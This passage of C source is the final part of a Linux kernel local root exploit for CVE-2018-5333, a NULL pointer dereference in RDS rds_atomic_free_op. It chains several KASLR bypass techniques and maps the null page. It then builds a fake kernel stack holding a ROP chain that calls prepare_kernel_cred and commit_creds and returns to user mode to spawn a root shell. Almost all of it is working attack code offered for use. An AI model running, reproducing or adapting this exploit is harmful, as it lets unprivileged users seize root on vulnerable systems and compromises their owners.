  if (munmap((void*)0x66000000, 0x20000000000))
    dprintf("[-] munmap(): %m\n");

  dprintf("[-] kernel base not found in mincore info leak\n");
  return 0;
}
#endif

// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *

unsigned long get_kernel_addr() {
  unsigned long addr = 0;

#if ENABLE_KASLR_BYPASS_KALLSYMS
  addr = get_kernel_addr_kallsyms();
  if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSLOG
  addr = get_kernel_addr_syslog();
  if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_PERF
  addr = get_kernel_addr_perf();
  if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_MINCORE
  addr = get_kernel_addr_mincore();
  if (addr) return addr;
#endif

  dprintf("[-] KASLR bypass failed, kernel base not found\n");
  exit(EXIT_FAILURE);

  return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

static void shell() {
  if (getuid() == 0 && geteuid() == 0) {
    dprintf("[+] got root\n");
    system(SHELL);
  } else {
    dprintf("[-] failed\n");
  }
  exit(EXIT_FAILURE);
}

void fork_shell() {
  pid_t rv;

  rv = fork();
  if (rv == -1) {
    dprintf("[-] fork(): %m\n");
    exit(EXIT_FAILURE);
  }

  if (rv == 0)
    shell();
}

int main(int argc, char *argv[]) {
  if (argc > 1) SHELL = argv[1];
  dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");

  dprintf("[.] checking kernel version...\n");
  detect_versions();
  dprintf("[~] done, version looks good\n");

#if ENABLE_SYSTEM_CHECKS
  dprintf("[.] checking system...\n");
  check_env();
  dprintf("[~] done, looks good\n");
#endif

  dprintf("[.] mapping null address...\n");
  map_null();
  dprintf("[~] done, mapped null address\n");

#if ENABLE_KASLR_BYPASS
  dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
  KERNEL_BASE = get_kernel_addr();
  dprintf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

  unsigned long commit_creds =        (KERNEL_BASE + kernels[kernel].commit_creds);
  unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred);
  unsigned long xor_rdi =             (KERNEL_BASE + kernels[kernel].xor_rdi);
  unsigned long mov_rdi_rax =         (KERNEL_BASE + kernels[kernel].mov_rdi_rax);
  unsigned long xchg_esp =            (KERNEL_BASE + kernels[kernel].xchg_esp);
  unsigned long swapgs =              (KERNEL_BASE + kernels[kernel].swapgs);
  unsigned long iretq =               (KERNEL_BASE + kernels[kernel].iretq);

  dprintf("[.] commit_creds:        %lx\n", commit_creds);
  dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);

  dprintf("[.] mmapping fake stack...\n");

  uint64_t page_size = getpagesize();
  uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
  uint64_t stack_offset = xchg_esp % page_size;

  unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
    PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);

  if (fake_stack == MAP_FAILED) {
    dprintf("[-] mmap(fake_stack): %m\n");
    exit(EXIT_FAILURE);
  }

  unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000,
    PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);

  if (temp_stack == MAP_FAILED) {
    dprintf("[-] mmap(temp_stack): %m\n");
    exit(EXIT_FAILURE);
  }

  static unsigned long result = 0;
  unsigned long *data = (unsigned long *)0;
  data[1] = (uint64_t)&result;
  data[3] = xchg_esp;

  save_state();
  debug_enable_sigsev_handler();

  fake_stack = (unsigned long *)(stack_aligned + stack_offset);

  int i = 0;

  fake_stack[i++] = xor_rdi;
  fake_stack[i++] = prepare_kernel_cred;
  fake_stack[i++] = mov_rdi_rax;
  fake_stack[i++] = 0x12345678;
  fake_stack[i++] = 0x12345678;
  fake_stack[i++] = 0x12345678;
  fake_stack[i++] = commit_creds;

  fake_stack[i++] = swapgs;
  fake_stack[i++] = 0x12345678;

  fake_stack[i++] = iretq;
  fake_stack[i++] = (unsigned long)shell;
  fake_stack[i++] = user_cs;
  fake_stack[i++] = user_rflags;
  fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
  fake_stack[i++] = user_ss;

  dprintf("[~] done, fake stack mmapped\n");

  dprintf("[.] executing payload %p...\n", (void*)&shell);
  trigger_bug();

  return 0;
}

